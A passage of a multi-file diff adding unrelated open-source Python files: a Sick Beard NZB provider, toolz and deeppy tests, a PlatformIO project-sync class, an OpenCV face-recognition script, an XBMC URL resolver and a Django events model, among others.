http://code.google.com/p/sickbeard/ +# +# This file is part of Sick Beard. +# +# Sick Beard is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Sick Beard is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Sick Beard. If not, see . + +import urllib +import generic +import sickbeard + +from sickbeard import tvcache +from sickbeard import helpers +from sickbeard import classes +from sickbeard import logger +from sickbeard.exceptions import ex, AuthException +from sickbeard import show_name_helpers +from datetime import datetime + +try: + import xml.etree.cElementTree as etree +except ImportError: + import elementtree.ElementTree as etree + +try: + import json +except ImportError: + from lib import simplejson as json + + +class OmgwtfnzbsProvider(generic.NZBProvider): + + def __init__(self): + generic.NZBProvider.__init__(self, "omgwtfnzbs") + self.cache = OmgwtfnzbsCache(self) + self.url = 'https://omgwtfnzbs.org/' + self.supportsBacklog = True + + def isEnabled(self): + return sickbeard.OMGWTFNZBS + + def _checkAuth(self): + + if not sickbeard.OMGWTFNZBS_USERNAME or not sickbeard.OMGWTFNZBS_APIKEY: + raise AuthException("Your authentication credentials for " + self.name + " are missing, check your config.") + + return True + + def _checkAuthFromData(self, parsed_data, is_XML=True): + + if parsed_data is None: + return self._checkAuth() + + if is_XML: + # provider doesn't return xml on error + return True + + else: + parsedJSON = parsed_data + + if 'notice' in parsedJSON: + description_text = parsedJSON.get('notice') + + if 'information is incorrect' in parsedJSON.get('notice'): + logger.log(u"Incorrect authentication credentials for " + self.name + " : " + str(description_text), logger.DEBUG) + raise AuthException("Your authentication credentials for " + self.name + " are incorrect, check your config.") + + elif '0 results matched your terms' in parsedJSON.get('notice'): + return True + + else: + logger.log(u"Unknown error given from " + self.name + " : " + str(description_text), logger.DEBUG) + return False + + return True + + def _get_season_search_strings(self, show, season): + return [x for x in show_name_helpers.makeSceneSeasonSearchString(show, season)] + + def _get_episode_search_strings(self, ep_obj): + return [x for x in show_name_helpers.makeSceneSearchString(ep_obj)] + + def _get_title_and_url(self, item): + return (item['release'], item['getnzb']) + + def _doSearch(self, search, show=None, retention=0): + + self._checkAuth() + + params = {'user': sickbeard.OMGWTFNZBS_USERNAME, + 'api': sickbeard.OMGWTFNZBS_APIKEY, + 'eng': 1, + 'catid': '19,20', # SD,HD + 'retention': sickbeard.USENET_RETENTION, + 'search': search} + + if retention or not params['retention']: + params['retention'] = retention + + search_url = 'https://api.omgwtfnzbs.org/json/?' + urllib.urlencode(params) + logger.log(u"Search url: " + search_url, logger.DEBUG) + + data = self.getURL(search_url) + + if not data: + logger.log(u"No data returned from " + search_url, logger.ERROR) + return [] + + parsedJSON = helpers.parse_json(data) + + if parsedJSON is None: + logger.log(u"Error trying to load " + self.name + " JSON data", logger.ERROR) + return [] + + if self._checkAuthFromData(parsedJSON, is_XML=False): + + results = [] + + for item in parsedJSON: + if 'release' in item and 'getnzb' in item: + results.append(item) + + return results + + return [] + + def findPropers(self, search_date=None): + search_terms = ['.PROPER.', '.REPACK.'] + results = [] + + for term in search_terms: + for item in self._doSearch(term, retention=4): + if 'usenetage' in item: + + title, url = self._get_title_and_url(item) + try: + result_date = datetime.fromtimestamp(item['usenetage']) + except TypeError: + result_date = None + + if result_date: + results.append(classes.Proper(title, url, result_date)) + + return results + + +class OmgwtfnzbsCache(tvcache.TVCache): + + def __init__(self, provider): + tvcache.TVCache.__init__(self, provider) + self.minTime = 20 + + def _getRSSData(self): + params = {'user': sickbeard.OMGWTFNZBS_USERNAME, + 'api': sickbeard.OMGWTFNZBS_APIKEY, + 'eng': 1, + 'catid': '19,20'} # SD,HD + + rss_url = 'https://rss.omgwtfnzbs.org/rss-download.php?' + urllib.urlencode(params) + + logger.log(self.provider.name + u" cache update URL: " + rss_url, logger.DEBUG) + + data = self.provider.getURL(rss_url) + + if not data: + logger.log(u"No data returned from " + rss_url, logger.ERROR) + return None + + return data + + def _checkAuth(self, parsedXML): + return self.provider._checkAuthFromData(parsedXML) + +provider = OmgwtfnzbsProvider() diff --git a/pool/shard000/Python/0008840_test_standalone.py b/pool/shard000/Python/0008840_test_standalone.py new file mode 100644 index 0000000000000000000000000000000000000000..7f33bb55dc4e676722bbfb2dd6ddf3bdbb415640 --- /dev/null +++ b/pool/shard000/Python/0008840_test_standalone.py @@ -0,0 +1,17 @@ +import unittest +import os +from urllib2 import urlopen + +import sys +sys.path.append(os.path.join('..', '..', 'standalone')) +import eval_server +import config + +class TestEvalServer(unittest.TestCase): + + def test_parse_query(self): + result = urlopen(config.DEFAULT_PORT) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008842_test_mlp.py b/pool/shard000/Python/0008842_test_mlp.py new file mode 100644 index 0000000000000000000000000000000000000000..c551bf3fdc61b5631c6d5821549be8001cf483ac --- /dev/null +++ b/pool/shard000/Python/0008842_test_mlp.py @@ -0,0 +1,71 @@ +import deeppy as dp +from sklearn.datasets import make_classification + + +def test_classification(): + # Make dataset + n_classes = 2 + n_samples = 1000 + n_features = 48 + x, y = make_classification( + n_samples=n_samples, n_features=n_features, n_classes=n_classes, + n_informative=n_classes*2, random_state=1 + ) + + n_train = int(0.8 * n_samples) + n_val = int(0.5 * (n_samples - n_train)) + + x_train = x[:n_train] + y_train = y[:n_train] + x_val = x[n_train:n_train+n_val] + y_val = y[n_train:n_train+n_val] + x_test = x[n_train+n_val:] + y_test = y[n_train+n_val:] + + scaler = dp.StandardScaler() + x_train = scaler.fit_transform(x_train) + x_val = scaler.transform(x_val) + x_test = scaler.transform(x_test) + + # Setup input + batch_size = 16 + train_input = dp.SupervisedInput(x_train, y_train, batch_size=batch_size) + val_input = dp.SupervisedInput(x_val, y_val) + test_input = dp.SupervisedInput(x_test, y_test) + + # Setup neural network + weight_decay = 1e-03 + net = dp.NeuralNetwork( + layers=[ + dp.FullyConnected( + n_out=32, + weights=dp.Parameter(dp.AutoFiller(), + weight_decay=weight_decay), + ), + dp.Activation('relu'), + dp.FullyConnected( + n_out=64, + weights=dp.Parameter(dp.AutoFiller(), + weight_decay=weight_decay), + ), + dp.Activation('relu'), + dp.FullyConnected( + n_out=n_classes, + weights=dp.Parameter(dp.AutoFiller()), + ), + ], + loss=dp.SoftmaxCrossEntropy(), + ) + + # Train neural network + def val_error(): + return net.error(val_input) + trainer = dp.StochasticGradientDescent( + min_epochs=10, learn_rule=dp.Momentum(learn_rate=0.01, momentum=0.9), + ) + trainer.train(net, train_input, val_error) + + # Evaluate on test data + error = net.error(test_input) + print('Test error rate: %.4f' % error) + assert error < 0.2 diff --git a/pool/shard000/Python/0008843_submodulesync.py b/pool/shard000/Python/0008843_submodulesync.py new file mode 100644 index 0000000000000000000000000000000000000000..5610bdb7b7bd16a61885213c053684cb6a7daf95 --- /dev/null +++ b/pool/shard000/Python/0008843_submodulesync.py @@ -0,0 +1,40 @@ +# Copyright Aaron Smith 2009 +# +# This file is part of Gity. +# +# Gity is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Gity is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Gity. If not, see . +from _util import * +try: + import re,os,subprocess,simplejson as json +except Exception,e: + glog(str(e)) + sys.stderr.write(str(e)) + exit(84) +command="" +try: + from _argv import * + if not options.misc: raise Exception("Gitty Error: The submodule update command requires a submodule") + submodule=sanitize_str(options.misc[0]) + command="%s %s %s" % (options.git,"submodule sync -- ",submodule) + rcode,stout,sterr=run_command(command) + exit_if_server_unreachable(sterr) + exit_if_server_hungup(sterr) + rcode_for_git_exit(rcode,sterr) + exit(0) +except Exception, e: + sys.stderr.write("The submodule sync command threw this error: " + str(e)) + sys.stderr.write("\ncommand: %s\n" % command) + log_gity_version(options.gityversion) + log_gitv(options.git) + exit(84) \ No newline at end of file diff --git a/pool/shard000/Python/0008845_pivdire.py b/pool/shard000/Python/0008845_pivdire.py new file mode 100644 index 0000000000000000000000000000000000000000..eba9b2436c65253e06d73d824f8f2b587fdb0813 --- /dev/null +++ b/pool/shard000/Python/0008845_pivdire.py @@ -0,0 +1,107 @@ +""" +The MIT License (MIT) + +Copyright (c) 2014 Hubert Soyer + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +""" + +import numpy as np +import warnings +from scipy.spatial.distance import pdist +from scipy.spatial.distance import squareform + + +def reduce_dim_2d(points_highd, pivot_pos=(), pivot_importance=5.0, + lr=1e-3, stopping_threshold=1e-3, max_iter=300, + metric='euclidean', seed=None): + """ + Reduces the dimensionality of the given high-dimensional vectors. + Instead of treating every point equally like PCA, SNE or tSNE, + this method allows the user to specify a list of vectors in the + given high dimensional data that should be treated with a preference. + That means, distances between the specified "more important" pivot + points and all other points will be preserved better. + For now, this function supports only dimensionality reduction to + 2d for plotting, it could, however, be easily extended + to more dimensions. + + :param points_highd: high dimensional vectors (n_vectors x dim) + :param pivot_pos: list of indices corresponding to the vectors + that should be weighed more + :param pivot_importance: importance factor for pivot points. + Higher means pivot-to-X distance will be + preserved more. (default: 5.0) + :param lr: learning rate for iterative optimization process + (default: 1e-3) + :param stopping_theshold: Stopping threshold for error difference + between two optimization epochs + (default: 1e-3) + :param max_iter: maximal number of iterations (default: 300) + :param metric: distance metrix on the _high dimensional_ points that + should be preserved as good as possible in 2d + :param seed: random seed + """ + if seed is not None: + np.random.seed(seed) + + # Initialize the points + points_2d = np.random.randn(points_highd.shape[0],2) * 0.01 + points_2d = (points_2d-points_2d.min()) / \ + (points_2d.max()-points_2d.min()) * 2 - 1 + d_shape = (points_2d.shape[0],points_2d.shape[0],1) + # Precompute the pairwise distances for the high dimensional vectors + d_high = squareform(pdist(points_highd,metric=metric)).reshape(d_shape) + + points_highd = np.array(points_highd) + last_err = np.infty + threshold = 1e-3 + # Run the learning iterator + for i in xrange(max_iter): + + # Compute the pairwise distances for the low dimensional vectors + d_low = squareform(pdist(points_2d,metric='euclidean')).reshape(d_shape) + # Get the pairwise differences between points for the low dimensional vectors + diff_low = points_2d[:,None,:] - np.tile(points_2d,[points_2d.shape[0],1,1]) + # Compute the error (before the current update!) + d_h_l = (d_high-d_low) + error = (d_h_l**2) + # Weight pivot points for error + error[:,pivot_pos] *= pivot_importance + error = error.sum() + # Weight pivot points for gradient + d_h_l[:,pivot_pos] *= pivot_importance + # Compute gradient + grad = ((-4) * d_h_l * diff_low).sum(axis=1) + # Perform update + points_2d -= lr * grad + + # Check of error between updates has fallen below + # threshold + if last_err - error < threshold and last_err > error: + if i < 10: + warnings.warn("Number of iterations before " + "hitting the error threshold was less than 10. " + "Results may not be satisfying, consider setting " + "a different threshold.") + # If yes, break + break + last_err = error + + return points_2d diff --git a/pool/shard000/Python/0008850_test_dicttoolz.py b/pool/shard000/Python/0008850_test_dicttoolz.py new file mode 100644 index 0000000000000000000000000000000000000000..6226e3d94f6ffdfc7be769084782e718b88996e7 --- /dev/null +++ b/pool/shard000/Python/0008850_test_dicttoolz.py @@ -0,0 +1,110 @@ +from toolz.utils import raises +from toolz.dicttoolz import (merge, merge_with, valmap, keymap, update_in, + assoc, dissoc, keyfilter, valfilter, itemmap, + itemfilter) + + +inc = lambda x: x + 1 + + +iseven = lambda i: i % 2 == 0 + + +def test_merge(): + assert merge({1: 1, 2: 2}, {3: 4}) == {1: 1, 2: 2, 3: 4} + + +def test_merge_iterable_arg(): + assert merge([{1: 1, 2: 2}, {3: 4}]) == {1: 1, 2: 2, 3: 4} + + +def test_merge_with(): + dicts = {1: 1, 2: 2}, {1: 10, 2: 20} + assert merge_with(sum, *dicts) == {1: 11, 2: 22} + assert merge_with(tuple, *dicts) == {1: (1, 10), 2: (2, 20)} + + dicts = {1: 1, 2: 2, 3: 3}, {1: 10, 2: 20} + assert merge_with(sum, *dicts) == {1: 11, 2: 22, 3: 3} + assert merge_with(tuple, *dicts) == {1: (1, 10), 2: (2, 20), 3: (3,)} + + assert not merge_with(sum) + + +def test_merge_with_iterable_arg(): + dicts = {1: 1, 2: 2}, {1: 10, 2: 20} + assert merge_with(sum, *dicts) == {1: 11, 2: 22} + assert merge_with(sum, dicts) == {1: 11, 2: 22} + assert merge_with(sum, iter(dicts)) == {1: 11, 2: 22} + + +def test_valmap(): + assert valmap(inc, {1: 1, 2: 2}) == {1: 2, 2: 3} + + +def test_keymap(): + assert keymap(inc, {1: 1, 2: 2}) == {2: 1, 3: 2} + + +def test_itemmap(): + assert itemmap(reversed, {1: 2, 2: 4}) == {2: 1, 4: 2} + + +def test_valfilter(): + assert valfilter(iseven, {1: 2, 2: 3}) == {1: 2} + + +def test_keyfilter(): + assert keyfilter(iseven, {1: 2, 2: 3}) == {2: 3} + + +def test_itemfilter(): + assert itemfilter(lambda item: iseven(item[0]), {1: 2, 2: 3}) == {2: 3} + assert itemfilter(lambda item: iseven(item[1]), {1: 2, 2: 3}) == {1: 2} + + +def test_assoc(): + assert assoc({}, "a", 1) == {"a": 1} + assert assoc({"a": 1}, "a", 3) == {"a": 3} + assert assoc({"a": 1}, "b", 3) == {"a": 1, "b": 3} + + # Verify immutability: + d = {'x': 1} + oldd = d + assoc(d, 'x', 2) + assert d is oldd + + +def test_dissoc(): + assert dissoc({"a": 1}, "a") == {} + assert dissoc({"a": 1, "b": 2}, "a") == {"b": 2} + assert dissoc({"a": 1, "b": 2}, "b") == {"a": 1} + + # Verify immutability: + d = {'x': 1} + oldd = d + d2 = dissoc(d, 'x') + assert d is oldd + assert d2 is not oldd + + +def test_update_in(): + assert update_in({"a": 0}, ["a"], inc) == {"a": 1} + assert update_in({"a": 0, "b": 1}, ["b"], str) == {"a": 0, "b": "1"} + assert (update_in({"t": 1, "v": {"a": 0}}, ["v", "a"], inc) == + {"t": 1, "v": {"a": 1}}) + # Handle one missing key. + assert update_in({}, ["z"], str, None) == {"z": "None"} + assert update_in({}, ["z"], inc, 0) == {"z": 1} + assert update_in({}, ["z"], lambda x: x+"ar", default="b") == {"z": "bar"} + # Same semantics as Clojure for multiple missing keys, ie. recursively + # create nested empty dictionaries to the depth specified by the + # keys with the innermost value set to f(default). + assert update_in({}, [0, 1], inc, default=-1) == {0: {1: 0}} + assert update_in({}, [0, 1], str, default=100) == {0: {1: "100"}} + assert (update_in({"foo": "bar", 1: 50}, ["d", 1, 0], str, 20) == + {"foo": "bar", 1: 50, "d": {1: {0: "20"}}}) + # Verify immutability: + d = {'x': 1} + oldd = d + update_in(d, ['x'], inc) + assert d is oldd diff --git a/pool/shard000/Python/0008868_analysis_and_visualization.py b/pool/shard000/Python/0008868_analysis_and_visualization.py new file mode 100644 index 0000000000000000000000000000000000000000..9a8e08e0f98f9528fa470f4f3f53a6a1c59eda8a --- /dev/null +++ b/pool/shard000/Python/0008868_analysis_and_visualization.py @@ -0,0 +1,115 @@ +import numpy +import mozaik +import pylab +import cPickle +from mozaik.visualization.plotting import * +from mozaik.analysis.technical import NeuronAnnotationsToPerNeuronValues +from mozaik.analysis.analysis import * +from mozaik.analysis.vision import * +from mozaik.storage.queries import * +from mozaik.storage.datastore import PickledDataStore +from mozaik.tools.circ_stat import circular_dist +from mozaik.tools.mozaik_parametrized import MozaikParametrized + +def perform_analysis_and_visualization(data_store): + analog_ids = param_filter_query(data_store,sheet_name="V1_Exc_L4").get_segments()[0].get_stored_esyn_ids() + analog_ids_inh = param_filter_query(data_store,sheet_name="V1_Inh_L4").get_segments()[0].get_stored_esyn_ids() + spike_ids = param_filter_query(data_store,sheet_name="V1_Exc_L4").get_segments()[0].get_stored_spike_train_ids() + + number_of_cells = len(analog_ids) + stimuli_list = list(('SparseNoise', 'DenseNoise')) + save_to = './Data/' + + + for stimuli_type in stimuli_list: + print 'Getting voltage and images for ' + stimuli_type + + # Saving parameters + format = '.pickle' + quality = '_3000_21_' # This is the number of images followed by the interval that they take in ms + + # Load the segments + dsv = queries.param_filter_query(data_store, sheet_name="V1_Exc_L4",st_name=stimuli_type) + segments = dsv.get_segments() + stimuli = [MozaikParametrized.idd(s) for s in dsv.get_stimuli()] + # Take the seeds + seeds = [s.experiment_seed for s in stimuli] + + # Sort them based on their seeds + seeds,segments,stimuli = zip(*sorted(zip(seeds,segments,stimuli))) + segment_length = segments[0].get_spiketrain(spike_ids[0]).t_stop + + # Values to obtain + spikes = [[] for i in segments[0].get_spiketrain(spike_ids)] + images = [] + + ## Extract images + print 'Extracting and processing images' + for i, seg in enumerate(segments): + """ + First we take out the stimuli and make them as small as we can First we take out the stimuli and make them + as small as we can than one pixel assigned to each value of luminance. In order to do so, we first call the class + And re-adjust is parameter st.density = st.grid_size. After that we successively call the class to extract the images + frames + """ + + # First we take the class + st = MozaikParametrized.idd_to_instance(stimuli[i]) + st.size_x = 1.0 + st.size_y = 1.0 + st.density = st.grid_size + + fr = st.frames() + + # First we call as many frames as many frames as we need (total time / time per image = total # of images) + ims = [fr.next()[0] for i in xrange(0,st.duration/st.frame_duration)] + # Now, we take the images that repeat themselves + ims = [ims[i] for i in xrange(0,len(ims)) if ((i % (st.time_per_image/st.frame_duration)) == 0)] + images.append(ims) + + # Saving images + print 'Saving Images ' + + # Concatenate and save + ims = numpy.concatenate(images,axis=0) + images_filename = save_to + 'images' + quality + stimuli_type + format + f = open(images_filename,'wb') + cPickle.dump(ims,f) + + ## Get the voltage for all the cells + for cell_number in range(number_of_cells): + print 'Extracting Voltage for cell ', cell_number + + vm = [] # Intialize voltage list + for i,seg in enumerate(segments): + # get vm + v = seg.get_vm(analog_ids[cell_number]) + # Check that the voltage between segments match + if vm != []: + assert vm[-1][-1] == v.magnitude[0] + # Append + vm.append(v.magnitude) + + + # Concatenate the experiments + print 'Concatenating Voltage' + vm = [v[:-1] for v in vm] # Take the last element out + vm = numpy.concatenate(vm,axis=0) + + print 'voltage shape=', numpy.shape(vm) + # Save the voltage + print 'Saving Voltage for cell', cell_number + voltage_filename = save_to + 'vm' + '_cell_'+ str(cell_number) + quality + stimuli_type + '.pickle' + f = open(voltage_filename,'wb') + cPickle.dump(vm,f) + + + ## Spikes + #for i,seg in enumerate(segments): + # get spikes + #sp = seg.get_spiketrain(spike_ids) + #sp = [list(s.magnitude+i*segment_length.magnitude) for s in sp] + + #spikes = [a+b for a,b in zip(spikes,sp)] + #f = open('spikes.pickle','wb') + #cPickle.dump(spikes,f) \ No newline at end of file diff --git a/pool/shard000/Python/0008869_projectsync.py b/pool/shard000/Python/0008869_projectsync.py new file mode 100644 index 0000000000000000000000000000000000000000..867922bd99c877c701a7cfb32eb37b116507920d --- /dev/null +++ b/pool/shard000/Python/0008869_projectsync.py @@ -0,0 +1,117 @@ +# Copyright (c) 2014-present PlatformIO +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os +import tarfile +from binascii import crc32 +from os.path import getmtime, getsize, isdir, isfile, join + +from twisted.python import constants # pylint: disable=import-error + +from platformio.compat import hashlib_encode_data + + +class PROJECT_SYNC_STAGE(constants.Flags): + INIT = constants.FlagConstant() + DBINDEX = constants.FlagConstant() + DELETE = constants.FlagConstant() + UPLOAD = constants.FlagConstant() + EXTRACTED = constants.FlagConstant() + COMPLETED = constants.FlagConstant() + + +class ProjectSync(object): + def __init__(self, path): + self.path = path + if not isdir(self.path): + os.makedirs(self.path) + self.items = [] + self._db = {} + + def add_item(self, path, relpath, cb_filter=None): + self.items.append((path, relpath, cb_filter)) + + def get_items(self): + return self.items + + def rebuild_dbindex(self): + self._db = {} + for (path, relpath, cb_filter) in self.items: + if cb_filter and not cb_filter(path): + continue + self._insert_to_db(path, relpath) + if not isdir(path): + continue + for (root, _, files) in os.walk(path, followlinks=True): + for name in files: + self._insert_to_db( + join(root, name), join(relpath, root[len(path) + 1 :], name) + ) + + def _insert_to_db(self, path, relpath): + if not isfile(path): + return + index_hash = "%s-%s-%s" % (relpath, getmtime(path), getsize(path)) + index = crc32(hashlib_encode_data(index_hash)) + self._db[index] = (path, relpath) + + def get_dbindex(self): + return list(self._db.keys()) + + def delete_dbindex(self, dbindex): + for index in dbindex: + if index not in self._db: + continue + path = self._db[index][0] + if isfile(path): + os.remove(path) + del self._db[index] + self.delete_empty_folders() + return True + + def delete_empty_folders(self): + deleted = False + for item in self.items: + if not isdir(item[0]): + continue + for root, dirs, files in os.walk(item[0]): + if not dirs and not files and root != item[0]: + deleted = True + os.rmdir(root) + if deleted: + return self.delete_empty_folders() + + return True + + def compress_items(self, fileobj, dbindex, max_size): + compressed = [] + total_size = 0 + tar_opts = dict(fileobj=fileobj, mode="w:gz", bufsize=0, dereference=True) + with tarfile.open(**tar_opts) as tgz: + for index in dbindex: + compressed.append(index) + if index not in self._db: + continue + path, relpath = self._db[index] + tgz.add(path, relpath) + total_size += getsize(path) + if total_size > max_size: + break + return compressed + + def decompress_items(self, fileobj): + fileobj.seek(0) + with tarfile.open(fileobj=fileobj, mode="r:gz") as tgz: + tgz.extractall(self.path) + return True diff --git a/pool/shard000/Python/0008871_modelTrain.py b/pool/shard000/Python/0008871_modelTrain.py new file mode 100644 index 0000000000000000000000000000000000000000..bc7cf77938b974a07143193586a5a98656bdcdfb --- /dev/null +++ b/pool/shard000/Python/0008871_modelTrain.py @@ -0,0 +1,126 @@ +import os +import sys +import cv2 +import numpy as np + +def collect_dataset(): + images = [] + labels = [] + labels_dic = {} + people = [person for person in os.listdir("people/")] + for i, person in enumerate(people): + labels_dic[i] = person + for image in os.listdir("people/" + person): + images.append(cv2.imread("people/" + person + '/' + image,0)) + labels.append(i) + return(images,np.array(labels), labels_dic) + + +def train_dataset(): + images, labels, labels_dic = collect_dataset() + + rec_eig = cv2.face.createEigenFaceRecognizer() + rec_eig.train(images,labels) + + print("Models Trained Succesfully") + return(rec_eig,labels_dic) + + +def face_recognition(recognizer,labels_dic): + cap = cv2.VideoCapture(0) + faceCascade = cv2.CascadeClassifier("C:\Work\Rohit\PythonCV\haarcascade_frontalface_default.xml") + + while(True): + # Capture frame-by-frame + ret, frame = cap.read() + + #BGR to Gray + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + + biggest_only = True + # Detect faces in the image + faces = faceCascade.detectMultiScale( + gray, + scaleFactor=1.1, + minNeighbors=5, + minSize=(30, 30), + flags=cv2.CASCADE_FIND_BIGGEST_OBJECT | \ + cv2.CASCADE_DO_ROUGH_SEARCH if biggest_only else \ + cv2.CASCADE_SCALE_IMAGE + + ) + + if len(faces): + faces_crop = cut_faces(frame,faces) + faces_eqal = norm_intensity(faces_crop) + faces_res = resize(faces_eqal) + name = predict(faces_res,recognizer,labels_dic) + + #Draw rectangle + for (x, y, w, h) in faces: + cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2) + cv2.putText(frame,name,(x,y),cv2.FONT_HERSHEY_PLAIN,3,(255,255,255),2) + + + #Display image with box and print no of faces in terminal + cv2.imshow("Faces live", frame) + + + if cv2.waitKey(1) & 0xFF == ord('q'): + break + + # When everything done, release the capture + cap.release() + cv2.destroyAllWindows() + + +def predict(faces,recognizer,labels_dic): + face = faces[0] + + if cv2.__version__ >= "3.1.0": + collector = cv2.face.StandardCollector_create() + recognizer.predict_collect(face,collector) + conf = collector.getMinDist() + pred = collector.getMinLabel() + else: + collector = cv2.face.MinDistancePredictCollector() + recognizer.predict(face,collector) + conf = collector.getDist() + pred = collector.getLabel() + print ("Eigen Faces-> Prediction: " + labels_dic[pred].capitalize() + " Confidence: " + str(round(conf))) + cv2.imshow("Face Cropped",face) + return (labels_dic[pred]) + + +def cut_faces(image,faces_coord): + faces = [] + + for (x, y, w, h) in faces_coord: + w_rm = int(0.2 * w / 2) + faces.append(image[y: y + h, x + w_rm: x + w - w_rm]) + + return faces + +def norm_intensity(images): + images_norm = [] + for image in images: + is_color = len(image.shape) == 3 + if is_color: + image = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) + images_norm.append(cv2.equalizeHist(image)) + return images_norm + +def resize(images, size=(100, 100)): + images_resize = [] + for image in images: + if image.shape < size: + image_resize = cv2.resize(image,size,interpolation = cv2.INTER_AREA) + else: + image_resize = cv2.resize(image,size,interpolation = cv2.INTER_CUBIC) + images_resize.append(image_resize) + return images_resize + +if __name__== "__main__": + recognizer,labels_dic = train_dataset() + face_recognition(recognizer,labels_dic) + diff --git a/pool/shard000/Python/0008874_uploadc.py b/pool/shard000/Python/0008874_uploadc.py new file mode 100644 index 0000000000000000000000000000000000000000..f17e7e546c3183468b8cc81c6ef861b41c97cb99 --- /dev/null +++ b/pool/shard000/Python/0008874_uploadc.py @@ -0,0 +1,90 @@ +""" + urlresolver XBMC Addon + Copyright (C) 2011 t0mm0 + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +""" +from t0mm0.common.net import Net +from urlresolver.plugnplay.interfaces import UrlResolver +from urlresolver.plugnplay.interfaces import PluginSettings +from urlresolver.plugnplay import Plugin +import urllib2, re, os +from urlresolver import common +from lib import jsunpack + +#SET ERROR_LOGO# THANKS TO VOINAGE, BSTRDMKR, ELDORADO +error_logo = os.path.join(common.addon_path, 'resources', 'images', 'redx.png') + +class UploadcResolver(Plugin, UrlResolver, PluginSettings): + implements = [UrlResolver, PluginSettings] + name = "uploadc" + + def __init__(self): + p = self.get_setting('priority') or 100 + self.priority = int(p) + self.net = Net() + # modified by mscreations. uploadc now needs the filename after the media id so make sure we match that + self.pattern = 'http://((?:www.)?uploadc.com)/([0-9a-zA-Z]+/[0-9a-zA-Z/._]+)' + + def get_media_url(self, host, media_id): + web_url = self.get_url(host, media_id) + + #get html + try: + html = self.net.http_GET(web_url).content + + #send all form values + sPattern = ']+)>' + r = re.findall(sPattern, html) + data = {} + if r: + for match in r: + name = match[0] + value = match[1].replace('"','') + data[name] = value + + html = self.net.http_POST(web_url, data).content + else: + raise Exception ('File Not Found or removed') + + # modified by mscreations. get the file url from the returned javascript + match = re.search("addVariable[(]'file','(.+?)'[)]", html, re.DOTALL + re.IGNORECASE) + if match: + return match.group(1) + + raise Exception ('File Not Found or removed') + except urllib2.URLError, e: + common.addon.log_error(self.name + ': got http error %d fetching %s' % + (e.code, web_url)) + common.addon.show_small_popup('Error','Http error: '+str(e), 8000, error_logo) + return self.unresolvable(code=3, msg=e) + except Exception, e: + common.addon.log('**** Uploadc Error occured: %s' % e) + common.addon.show_small_popup(title='[B][COLOR white]UPLOADC[/COLOR][/B]', msg='[COLOR red]%s[/COLOR]' % e, delay=5000, image=error_logo) + return self.unresolvable(code=0, msg=e) + + def get_url(self, host, media_id): + return 'http://www.uploadc.com/%s' % (media_id) + + def get_host_and_id(self, url): + r = re.search(self.pattern, url) + if r: + return r.groups() + else: + return False + + + def valid_url(self, url, host): + if self.get_setting('enabled') == 'false': return False + return re.match(self.pattern, url) or self.name in host diff --git a/pool/shard000/Python/0008883_models.py b/pool/shard000/Python/0008883_models.py new file mode 100644 index 0000000000000000000000000000000000000000..685fa484b174dbeed733ea1d4d405ab1f6ccbc53 --- /dev/null +++ b/pool/shard000/Python/0008883_models.py @@ -0,0 +1,161 @@ +import pytz +from itertools import islice +from functools import wraps, total_ordering +try: + from queue import PriorityQueue +except ImportError: + from Queue import PriorityQueue + +from django.db import models +from django.core.urlresolvers import reverse +from django.utils import timezone +from django.utils.translation import ugettext_lazy as _ +from django.utils.six import python_2_unicode_compatible + +from autoslug.fields import AutoSlugField +from ckeditor.fields import RichTextField +from recurrence.fields import RecurrenceField +from sorl.thumbnail import ImageField + + +def sliceable(generator): + @wraps(generator) + def wrapper(self, *args, **kwargs): + count = kwargs.pop('count', None) + iterator = generator(self, *args, **kwargs) + return iterator if count is None else islice(iterator, count) + return wrapper + + +class Naive(object): + def __init__(self, dt): + self.dt = dt + + def __enter__(self): + tz = self.dt.tzinfo + naive = pytz.UTC.normalize(self.dt).replace(tzinfo=None) + return naive, tz.localize + + def __exit__(self, *exc): + pass + + +class EventQuerySet(models.QuerySet): + @sliceable + def after(self, dtstart): + with Naive(dtstart) as (naive, localize): 